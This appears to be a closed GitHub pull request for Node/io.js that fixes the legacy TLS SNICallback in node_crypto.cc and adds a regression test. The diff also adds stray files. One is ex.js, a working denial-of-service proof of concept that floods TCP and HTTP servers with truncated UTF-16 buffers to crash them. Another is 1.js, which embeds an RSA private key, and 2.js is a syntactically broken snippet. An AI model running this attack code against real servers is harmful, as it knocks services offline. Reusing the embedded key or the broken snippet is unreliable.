Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

crypto: fix legacy SNICallback #1720

Closed
wants to merge 1 commit into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions 1.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
'use strict';

var options = {
key: "-----BEGIN RSA PRIVATE KEY-----\nMIICXQIBAAKBgQDN9WSJABq8qOoQSmzWcSOvdcjJ/3hASjWe/spyRuWviC4G3YQR\n1ap8kwCCmtuWsaEctxG2xxs7l0w4BlrQNm5IynHMl28EF8Uej3qIASfhF15hjSFJ\n/RxWGNg3/3yF53g7tIAsAMk7h1d8CaudN8h51G3lMdLVrVUPaQiTAE2mxQIDAQAB\nAoGAI376f74b3Y4DISGilmbTbqcPHvk/oVzo1uk0vPNJHLKMtDQzUduQUX4IZXoJ\nBHTCvq8yh1zTbbbKtRErT51B7kxNOVHefzCiibZNFlrk9ATanAbmBoCat5DMkw3I\nPqCnQ1gDyZjuj+P5IVYHOezIn1/5nInw7f4akhCGHU32MfUCQQDU1vI7rvVxkFPP\nI/dnEnggG5JYmufxZzlskiBrowEOaZIfvcgTUT5VhRuSakE+FBDGh1oyRUyDDhlP\nVBsZwjh/AkEA97k7hUyUB3erEccUyLLGPHzsxXc711Lsf5NQkljXThntTCkjnGpZ\nSulOgvuko4sFSuRgzm1r0DeAA6AS53CeuwJBAKTobgLkSnPVGbqS6WvJGZ32/ur8\nCt411n5Ssh/zyiu6jGdfihe9iQiF+5j0DtzkeyL3WGE+5EterymRxvWsUE0CQQCx\nKgJNZOUBKi5oOm680k4/+EAFQS7E4gNNgfe/klX4/0XckBdtyAkwMAb8Wif25nfU\nhdxOBadzdB3TeenLJ5n9AkA+gAl04OMKdURMtlNewEAbHDO02raUQ2Ui4Bl2PKfh\nHZ9EBnruiJTxDYjxoLBcJ8MzIvzL9MfUXAlcfw07BPI4\n-----END RSA PRIVATE KEY-----",
cert: "-----BEGIN CERTIFICATE-----\nMIIBtDCCAR+gAwIBAgIDAQABMAsGCSqGSIb3DQEBCzAUMRIwEAYDVQQDFgl0ZXN0\nLnRlc3QwHhcNNjkwMTAxMDAwMDAwWhcNMjUwNzE1MDMwMTM1WjAUMRIwEAYDVQQD\nFgl0ZXN0LnRlc3QwgZ0wCwYJKoZIhvcNAQEBA4GNADCBiQKBgQDN9WSJABq8qOoQ\nSmzWcSOvdcjJ/3hASjWe/spyRuWviC4G3YQR1ap8kwCCmtuWsaEctxG2xxs7l0w4\nBlrQNm5IynHMl28EF8Uej3qIASfhF15hjSFJ/RxWGNg3/3yF53g7tIAsAMk7h1d8\nCaudN8h51G3lMdLVrVUPaQiTAE2mxQIDAQABoxowGDAWBgNVHREEDzANggsqLnRl\nc3QudGVzdDALBgkqhkiG9w0BAQsDgYEAvKZ+uTM0kZAYBZg+wwTLZwzW3LSyeVFA\nQgxVPmXpNSfvFvBsPrHLbtGsqbDw9Yx+l6XWl9iAqW7FR3nJseKRzJYnlnvIO56g\nr7Pz4K308QJKSNIT4Cm54mxO1ZLaVdpumtoTxncplAJgUC/MZqvFK5ig8tvDGMCe\nHOtVT2sWjMQ=\n-----END CERTIFICATE-----"
};

var Https = require('https');
var Fs = require('fs');
var C = require('constants');

var server = Https.createServer({
secureOptions: C.SSL_OP_NO_TICKET,
cert: options.cert,
key: options.key
}, function (req, res) {
res.writeHead(200);
res.end("hello world\n");
});

server.on('resumeSession', function (id, callback) {
console.log('resume requested');
callback();
});

server.listen(8000);

8 changes: 8 additions & 0 deletions 2.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,8 @@
var tls = require('tls');

tls.connect({
port: 1443
}
console.log(c.servername);
c.destroy();
}).listen(1443);
86 changes: 86 additions & 0 deletions ex.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,86 @@
'use strict';

var http = require('http');
var net = require('net');
var LEN = 1024 * 64;
var PORT = 8123;
var log = process._rawDebug;


///// BASIC ATTACK /////

/**
* This sample code demonstrates the simplest way to reproduce the issue.
*/
var b = Buffer(LEN);
b.fill('\ud834\udc1e');
b = b.slice(0, LEN - 3);
b.toString();



///// TCP ATTACK /////

/**
* This demonstrates exploiting packet size to force a malformed UTF-16
* character throw to be turned to a string by the unexpecting victim.
*/
var b = Buffer(LEN).fill('\ud834\udc1e').slice(0, LEN - 3);

net.createServer(function(c) {
c.on('data', function(chunk) {
chunk.toString();
this.end();
});
}).listen(8123, function(e) {
if (e) throw e;
startClient();
});

function startClient() {
net.connect(PORT, function() {
log('client connected');
this.write(b);
this.end();
}).on('end', function() {
setImmediate(startClient);
});
}



///// HTTP ATTACK /////

/**
* This shows an attack vector that could be used to bring down an HTTP server.
* Though because of implementation details, it requires explicit action by the
* implementor.
*
* Fortunately a perf improvement I recommended to Isaac a while back (1f9f863)
* helps guard against this attack on http, but doesn't prevent it if the user
* takes explicit action.
*/
var b = Buffer(LEN).fill('\ud834\udc1e').slice(0, LEN - 3);
var cH = 'GET / HTTP/1.1\r\n' +
'User-Agent: '

b.write(cH);
b.write('\r\n\r\n', b.length - 4);

http.createServer(function(req, res) {
log('connection received');
Buffer(req.headers['user-agent'], 'binary').toString('utf8');
res.end();
}).listen(PORT, function(e) {
if (e) throw e;
startClient();
});

function startClient() {
net.connect(PORT, function() {
this.write(b);
this.end();
}).on('end', function() {
setImmediate(startClient);
}).on('data', function() { });
}
21 changes: 21 additions & 0 deletions npm-debug.log
Original file line number Diff line number Diff line change
@@ -0,0 +1,21 @@
0 info it worked if it ends with ok
1 verbose cli [ '/Users/indutny/.iojs/2.2.1/bin/iojs',
1 verbose cli '/Users/indutny/.iojs/2.2.1/bin/npm',
1 verbose cli 'test' ]
2 info using npm@2.11.0
3 info using node@v2.2.1
4 verbose stack Error: ENOENT: no such file or directory, open '/Users/indutny/Code/indutny/node/package.json'
4 verbose stack at Error (native)
5 verbose cwd /Users/indutny/Code/indutny/node
6 error Darwin 14.3.0
7 error argv "/Users/indutny/.iojs/2.2.1/bin/iojs" "/Users/indutny/.iojs/2.2.1/bin/npm" "test"
8 error node v2.2.1
9 error npm v2.11.0
10 error path /Users/indutny/Code/indutny/node/package.json
11 error code ENOENT
12 error errno -2
13 error syscall open
14 error enoent ENOENT: no such file or directory, open '/Users/indutny/Code/indutny/node/package.json'
14 error enoent This is most likely not a problem with npm itself
14 error enoent and is related to npm not being able to find a file.
15 verbose exit [ -2, true ]
9 changes: 8 additions & 1 deletion src/node_crypto.cc
Original file line number Diff line number Diff line change
Expand Up @@ -2346,8 +2346,15 @@ int Connection::SelectSNIContextCallback_(SSL *s, int *ad, void* arg) {
if (!conn->sniObject_.IsEmpty()) {
conn->sni_context_.Reset();

Local<Object> sni_obj = PersistentToLocal(env->isolate(),
conn->sniObject_);

Local<Value> arg = PersistentToLocal(env->isolate(), conn->servername_);
Local<Value> ret = conn->MakeCallback(env->onselect_string(), 1, &arg);
Local<Value> ret = node::MakeCallback(env->isolate(),
sni_obj,
env->onselect_string(),
1,
&arg);

// If ret is SecureContext
Local<FunctionTemplate> secure_context_constructor_template =
Expand Down
45 changes: 45 additions & 0 deletions test/parallel/test-tls-legacy-onselect.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,45 @@
'use strict';
var common = require('../common');
var assert = require('assert');

if (!common.hasCrypto) {
console.log('1..0 # Skipped: missing crypto');
return;
}
var tls = require('tls');
var net = require('net');

var fs = require('fs');

var success = false;

function filenamePEM(n) {
return require('path').join(common.fixturesDir, 'keys', n + '.pem');
}

function loadPEM(n) {
return fs.readFileSync(filenamePEM(n));
}

var server = net.Server(function(raw) {
var pair = tls.createSecurePair(null, true, false, false);
pair.on('error', function() {});
pair.ssl.setSNICallback(function() {
raw.destroy();
server.close();
success = true;
});
require('_tls_legacy').pipe(pair, raw);
}).listen(common.PORT, function() {
tls.connect({
port: common.PORT,
rejectUnauthorized: false,
servername: 'server'
}, function() {
}).on('error', function() {
// Just ignore
});
});
process.on('exit', function() {
assert(success);
});